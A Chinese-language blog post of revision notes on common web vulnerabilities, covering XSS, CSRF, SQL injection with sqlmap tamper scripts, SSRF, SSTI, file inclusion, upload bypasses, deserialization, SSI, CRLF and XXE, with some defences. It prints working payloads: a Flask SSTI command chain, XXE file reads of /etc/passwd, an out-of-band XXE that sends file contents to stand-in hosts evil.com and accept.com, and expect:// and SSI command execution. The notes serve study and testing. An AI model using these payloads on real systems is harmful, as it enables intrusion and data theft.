R1gelX`Blog

22 object(s)
 

基础漏洞复习

这里对基础漏洞的概念和区别做一些笔记作为备忘录


XSS

XSS - 跨站脚本攻击

站点对要输入输出的数据为做过滤处理导致恶意数据直接嵌入html代码而执行

XSS 分三种 反射性 存储性 DOM型

反射性是本身不存在服务器上,需要实现构造一个链接,比如查询是get传参,且将查询语句原封不动的显示出来,那么可以构造一个带有恶意get请求的链接发送给别人。

存储性是将恶意代码发送到服务器,服务器没有过滤或过滤不严格导致恶意代码存储在某个页面,当用户访问到这个页面时,恶意代码便会触发。

Dom型xss,与前两个都有类似的地方,比如可以向后台发送一个文字,文字会被当作一个字符串渲染进textarea标签里,那么我们可以构造闭合标签去添加一个 <script>之类的标签

CSRF

跨站伪造请求

通常利用身份认证后得到的Cookie本地存储且有一定的时效的性质构造恶意链接向目标服务器发送非法数据

防御

  1. 来源检测
  2. csrf_token 由服务器随机生成返回给前端,并不存在Cookie中,由于随机性所以也无法伪造

SQL注入

输入内容未检测过滤或过滤不严格导致sql语句被恶意拼接

类型分类:

1. 有回显:

堆叠注入 联合注入 报错注入

2. 无回显

布尔盲注 延时盲注

延时方法:

  1. sleep
  2. BENCHMARK() 重复表达式多次
  3. get_lock()
  4. heavy query 笛卡尔积或join加入大表

sqlmap的基础用法

sqlmap -u url (-r from_file) --tamper script_payload --thread thread0-10 --dalay sleep --safe-url true_url --technique (injetion_option B E U S T Q)

tamper:

apostrophemask.py       用UTF-8全角字符替换单引号字符
apostrophenullencode.py    用非法双字节unicode字符替换单引号字符
appendnullbyte.py       在payload末尾添加空字符编码
base64encode.py        对给定的payload全部字符使用Base64编码
between.py           分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py          在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py      对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py         对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py      对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py      用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py        用“LIKE”运算符替换全部等于号“=”
greatest.py          用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py      用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py         用小写值替换每个关键字字符
modsecurityversioned.py    用注释包围完整的查询
modsecurityzeroversioned.py  用当中带有数字零的注释包围完整的查询
multiplespaces.py       在SQL关键字周围添加多个空格
nonrecursivereplacement.py  用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py        转换给定的payload当中的所有字符
percentage.py         在每个字符之前添加一个百分号
randomcase.py         随机转换每个关键字字符的大小写
randomcomments.py       向SQL关键字中插入随机注释
securesphere.py        添加经过特殊构造的字符串
sp_password.py        向payload末尾添加“sp_password” ``for` `automatic obfuscation ``from` `DBMS logs
space2comment.py       用“``/**/``”替换空格符
space2dash.py         用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py         用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py       用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py      用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py      用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py      用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py      用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py         用加号“+”替换空格符
space2randomblank.py     用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py      用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py       用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
varnish.py          添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py     用MySQL注释包围每个非函数关键字
versionedmorekeywords.py   用MySQL注释包围每个关键字
xforwardedfor.py       添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

防御方法:

白名单 黑名单 PDO(减少动态拼接)

SSRF

服务器端伪造请求

通常存在站点里请求外部资源的位置且请求参数可控,可用于内网探测,未授权访问等。

  1. SSRF探测内网
    利用脚本或burpsuite爆破ip或端口
  2. file:// 读文件
  3. 打redis (gopher:// dict://)
  4. 打mysql
  5. 打php-fpm

防御方法 :

输入检测,过滤通往本地的输入

SSTI

服务器端模板注入

对与flask的模板注入而言,是访问通过一个变量类型的基类,然后再不断去获取到内置函数(builtin)来读取文件,或执行系统命令

payload:

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()

文件包含

对于 include require 之类的函数去包含一个文件的时候,会尝试将这个文件当作php脚本执行

远程包含 Allow_url_include = on

伪协议

php:// zip:// phar:// data:// file:// http:// glob:// data://

可用于有文件读取操作的函数

php://filter读写文件 php://input 可直接执行post原始数据

phar:// 反序列化

文件上传

文件上传需要知道上传后保存路径,且能解析

绕过 :

  1. 前端绕过
  2. 黑名单替换双写绕过
  3. 文件类型检测绕过,通常修改Content-Tyoe为 image/jpeg和文件头GIF89a
  4. 截断绕过 00截断后部分 1.php%00.jpg之类的
  5. windows解析漏洞 文件抓包修改为 x.php:x.jpg
  6. 上传 . htaccess文件 设置SetHandler application/x-httpd-php,如下

    <FilesMatch "filename">
     
    SetHandler application/x-httpd-php
     
    </FilesMatch>
    Filename 为你想要上传的文件名
  7. 中间件之iis6.0 6.5 版本解析漏洞 upload/1.php/ 目录下的所有文件会被当做php脚本执行
  8. nginx解析漏洞 访问/uplaod/image/1.jpg/.php 即可解析
  9. 条件竞争访问,如果已知临时文件的目录,可以在短暂的时间进行访问
  10. 上传 .user.ini 设置 auto_prepend_file 或者 auto_append_file

反序列化

序列化指的是把一个对象的数据转化成一种特殊格式的字符串
反序列化漏洞就是对象属性可控,通过对属性内容的修改,去触发特定的方法(一些魔术方法)最终达到RCE或者任意文件写入
出发反序列化的条件,unseriialize函数参数可控,session反序列化(session内容可控,因为session的内容也是一段序列化数据),phar反序列化 通常是有文件读取操作或者提取归档文件的,也即是可以利用phar协议的
(”事实上只要底层调用了_php_stream_open_wrapper_ex 的函数,都有可能触发 phar 反序列化 “)

注意魔术方法的触发,关键是一条链子的起点和终点

SSI

ssi-服务端包含:从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。

这个漏洞相对很少见

需要在服务器配置文件中开启

nginx:

ssi on;
ssi_silent_errors off;
ssi_types text/shtml;

apache

# To parse .shtml files for server-side includes (SSI):
# (You will also need to add "Includes" to the "Options" directive.)
#
#AddType text/html .shtml #取消该行前的注释符#
#AddOutputFilter INCLUDES .shtml #取消该行前的注释符#
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
  1. 服务器端环境变量
    <!-#echo var="REMOTE_AFFR"->

<!-#echo var="DATE_LOCAL"->

  1. 文件包含
    <!--#include virtual="/www/index.html" -->

<!--#include file="filename" -->

  1. 命令执行

<!--#exec cmd="ifocnfig" -->

CRLF

CR 回车 LF 换行

CRLF在windows中表示行的结束 UNIX/LINUX使用LF来表示行的结束

漏洞利用 在请求报文的某参数中添加特殊构造的CRLF字符是得报文解析的时候存在恶意的值

比如我们在 Reffer:xxxx%0d%0aLocation:CRLF.php 那么会Location参数会被正常解析,这就是CRLF漏洞,同样我们可以返回一个Set-Cookie

XXE

XXE 外部实体注入

XML使用结构性标记语言,由元素 属性 实体 PCDATA CDATA组成
元素和属性与html的类似
实体是用来定义普通文本的变量。实体引用是对实体的引用。
PCDATA是会解析的字符数据,CDATA是不会解析的字符数据

可以通过实体的定义来造成任意文件读取

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd"> 
]>
<c>&B;</c>

首先是外部实体声明,然后引用实体变量
也可以将上面那句实体声明语句放入远程dtd文件

<!DOCTYPE a SYSTEM "http://xxx.com/evil.dtd">
<c>&b;</c>

无回显的处理方式

先写读取文件并base64编码,在加载外部实体文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passswd">
<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">

加载的外部实体文件

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://accept.com/?%file'>"
>
%all;

然后在xml文件里执行 %dtd; %send;

RCE

利用expect

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY rce SYSTEM "expect://whoami">
]>
<x>&rce;</x>

内网探测

利用http去访问内网端口

支持的协议:

在php下 支持 file http ftp php data glob phar compress.zlib(bzip2)

(rar expect 等)需要扩展